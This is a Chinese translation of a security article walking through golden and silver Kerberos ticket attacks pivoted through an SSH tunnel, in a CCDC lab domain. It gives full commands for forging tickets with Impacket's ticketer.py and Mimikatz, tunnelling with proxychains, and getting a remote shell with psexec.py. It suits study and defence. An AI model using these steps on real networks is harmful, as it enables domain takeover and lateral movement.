回归最本质的信息安全

如何通过SSH隧道实现 Windows Pass the Ticket攻击?

2017年5月30日发布

6,742
0
0

导语:在今年举办的环太平洋大学网络防御竞赛(CCDC) 中,有一个小组就遇到了目标的KRBTGT 帐户和帐户NTLM哈希的情况,并且通过内部网络连接对基于DMZ的Linux主机进行了非特权的SSH访问。

u=2158508234,3477287785&fm=26&gp=0.jpg

攻击者所使用基于NTLM哈希的哈希传递攻击以及基于Kerberos票据的票据传递攻击(pass-the-ticket,以下简称PtT)来访问用户主机或服务器是非常简单的,最常见的手段就是使用黄金票据(Golden Ticket)和银票据(Silver Ticket),不过本文要为大家介绍一个新办法,就是通过SSH 隧道实现PtT攻击 ,当然这个办法较前两种也比较复杂。

在今年举办的环太平洋大学网络防御竞赛(CCDC) 中,有一个小组就遇到了目标的KRBTGT 帐户和帐户NTLM哈希的情况,并且通过内部网络连接对基于DMZ的Linux主机进行了非特权的SSH访问,但是他们并没有用这种办法直接访问任何Windows主机。

通过票据攻击的流程图大致如下:

1495693156465190.png

尝试攻击敏感的网络分段的主机时,就有可能在运行网络上遇到类似的情况。本文就介绍了如何通过SSH隧道传递黄金票据和银票据。为了更好的让大家理解,我们会通过一个具体的样本,向大家展示如何通过位于10.0.10.81的Linux主机来破坏Windows主机WIN-RMJBTDB7QTF。

黄金票据

微软实现的Kerberos版本中存在的一系列问题,最后让Kerberos成为了攻击者进行漏洞利用的天堂。最要命的是,攻击者能够生成任意的TGT。我们习惯上把其称之为黄金票据,其特点如下:

黄金票据是全功能的TGT,可用于Kerberos认证的任何服务。另外黄金票据还可以绕过当前Kerberos的加密要求。例如,可以使用DES或RC4加密算法创建一个TGT,即使该域明确支持AES,禁止使用DES或RC4。

总而言之就是,如果KRBTGT账户丢失了,也就意味着攻击者可以生成任意的Kerberos票据,使用用户的账户的权限进行任意操作。此外,鉴于KRBTGT账户极少更改散列值,攻击者可以对这些伪造的票据可以使用很长一段时间。

在本案例中,攻击时安装了Impacket库和proxychains的Linux主机,而主机不需要加入域。

生成黄金票据

要创建黄金票据,我们需要从目标域获取以下信息:

krbtgt帐户的NT哈希
域的SID
域的FQDN
虚拟用户

我们将使用Impacket的示例脚本ticketer.py来创建黄金票据凭证缓存文件。以下是为用户mbrody-da创建缓存文件的语法示例:

./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

要使Impacket示例脚本能够使用缓存文件进行身份验证,而不是提供明文密码或NT哈希值,我们就需要将KRB5CCNAME变量设置为缓存文件的绝对路径:

export KRB5CCNAME=/path/to/ccache/file

验证变量正确的设置如下:

echo $KRB5CCNAME

现在我们就可以使用-k标志与支持Kerberos身份验证的任何Impacket脚本来使用黄金票据,而不需要提供明文密码或NT哈希值。

名称解析

为了确保Kerberos的进程功能可以正常运行,我们需要修改目标设备的/ etc / hosts文件,以包含目标域控制器的FQDN和目标主机的NetBIOS名称的条目,比如下面这个例子:

127.0.0.1	localhost
192.168.26.129	amity.local
192.168.26.128  WIN-RMJBTDB7QTF

如果你还没有域控制器的IP地址,请通过目标Linux主机上的SSH会话在目标域的FQDN上运行nslookup,如下所示:

nslookup -type=srv _ldap._tcp.AMITY.LOCAL

Proxychains

proxychains,翻译过来应该叫代理链。简而言之,就是可以配置一系列的proxychains地址,然后以代理的方式访问互联网。

我们将使用Proxychains通过SSH隧道对路由器的流量进行控制,通过在Kali上(linux操作系统的一个发行版)查看默认配置文件的最后一行/etc/proxychains.conf来验证代理端口。

不过要注意的是,如果在执行攻击时遇到名称解析问题,则可能需要在proxychains配置文件中对proxy_dns设置进行注释。

当我们通过SSH进入目标Linux主机时,我们将向代理端口提供-D标志。这样就能在本地主机的端口上创建一个SOCKS代理,proxychains将通过路由器对流量进行控制,如下图所示:

ssh unpriv@10.0.10.81 -D 1337

要验证隧道是否被正确设置了,我们可以针对目标主机的端445运行带有proxychains的nmap TCP连接扫描:

proxychains nmap -sT -Pn -p445 192.168.26.128

Time Sync

TimeSync是一款好用的系统时间校对工具,如果你的电脑时间经常会出现不准的现象,可以使用这款工具进行校准,它可以让你实时与世界时间保持同步,一般情况下大家的系统时间都不会出现错误的,除非CMOS没电了。

如果攻击机的时间距离目标域的DC超过约五分钟,黄金票据就将无法正常工作。如果deltaTime超过五分钟,我们可以使用deltaTime来检查目标时间(下图中的第1行),并设置目标攻击设备上的时间(第2行):

proxychains net time -S <IP-of-DC>
proxychains net time set -S <IP-of-DC>

启动攻击

在所有设置完成后,我们就可以使用任何支持ccache身份验证的工具来攻击目标主机。比如利用Impacket的psexec.py示例脚本(利用Impacket 可以 伪造和解码网络数据包,支持高级协议如 NMB 和 SMB),然后运行以下命令就可以返回交互式CMD提示符:

proxychains ./psexec.py mbrody-da@WIN-RMJBTDB7QTF -k -no-pass

如果在启动后收到运行的错误报告,请查看依赖关系的配置并使用psexec.py的-debug标志进行故障排除。

银票据

银票据是伪造的TGS,其范围有限,只能访问指定的服务权限。另外银票据是由服务账户,通常为计算机账户进行哈希加密的。银票据在使用的过程不需要同域控通信,总而言之就是,只要攻击者有银票据,就可以跳过KDC认证,直接去访问指定的服务。

执行银票据攻击需要安装Impacket库和proxychains的Linux主机,并安装配有Mimikatz和Kekeo的Windows主机。两个主机都不需要加入域。

生成银票据

要生成银票据,我们需要以下信息:
目标主机帐户的NTLM哈希
目标主机的FQDN
目标服务
域SID
域FQDN
虚拟用户

在本文所列举的案例中,我们将通过SMB对目标主机进行身份验证,因此我们将使用CIFS服务。 由于我们在本文中借鉴了安全研究人员Sean Metcalf所介绍的常见SPN列表,所以ticketer.py不支持银票据的生成。所以,我们会在Windows主机上使用Mimikatz来创建一个银票据 .kirbi文件,并使用Kekeo将银票据转换为ccache文件。

通过以下语法使用Mimikatz的Kerberos模块就可以生成银票据:

kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

以下是为用户mbrody-da和CIFS服务创建的银票据:

kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs

退出Mimikatz并启用Kekeo,将kirbi文件转换为ccache文件,具有语法如下:

misc::convert ccache /path/to/ticket.kirbi

我们可以使用以下语法转换多个kirib银票据:

misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...

将ccache文件Kekeo导出到攻击的Linux主机以确保在Linux主机上的文件是绝对路径。我们需要用该路径来设置KRB5CCNAME变量,然后其余的攻击在Linux主机操作上就可以了。

攻击设置

其余的银票据攻击设置与以上所讲的黄金票据攻击大致相似,但有两个例外。

首先,我们需要在/ etc / hosts文件中提供目标主机的FQDN,而不是NetBIOS名称。在我们所列举的案例中,/ etc / hosts文件如下所示:

127.0.0.1	localhost
192.168.26.129	amity.local
192.168.26.128  WIN-RMJBTDB7QTF.amity.local

第二个区别是我们需要将攻击设备的时间与目标主机设置成同步运行,银票据不与目标的域控制器通信。

然后,按照与上述黄金票据攻击相同的步骤设置KRB5CCNAME变量,验证proxychains配置,使用SOCKS代理建立SSH隧道,并使用nmap验证隧道。

启动攻击

我们现在可以使用psexec.py针对目标主机的FQDN启动攻击:

proxychains python psexec.py mbrody-da@WIN-RMJBTDB7QTF.amity.local -k -no-pass

以下视频就为大家详细演示了上述两种方法的具体过程:

https://www.youtube.com/embed/l6z6F_DYCbA(自备梯子)

总结

黄金票据和银票据为攻击者提供了持久性的隐身攻击技术,但前提是需要与目标主机用ssh做正向连接。不过攻击者只能通过Linux主机间接访问目标主机,此时,可以通过SSH隧道通过proxychains执行通过票据的攻击。虽然这篇文章阐述了如何使用psexec.py来发起针对目标主机的攻击,但任何支持-k参数的Impacket脚本都可以做到这一点,包括atexec.py,smbclient.py,smbexec.py和wmiexec.py。

本文翻译自:https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/ ,如若转载,请注明来源于嘶吼: http://www.4hou.com/technology/4974.html

点赞 0
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

xiaohui

xiaohui

嘶吼编辑

发私信

发表评论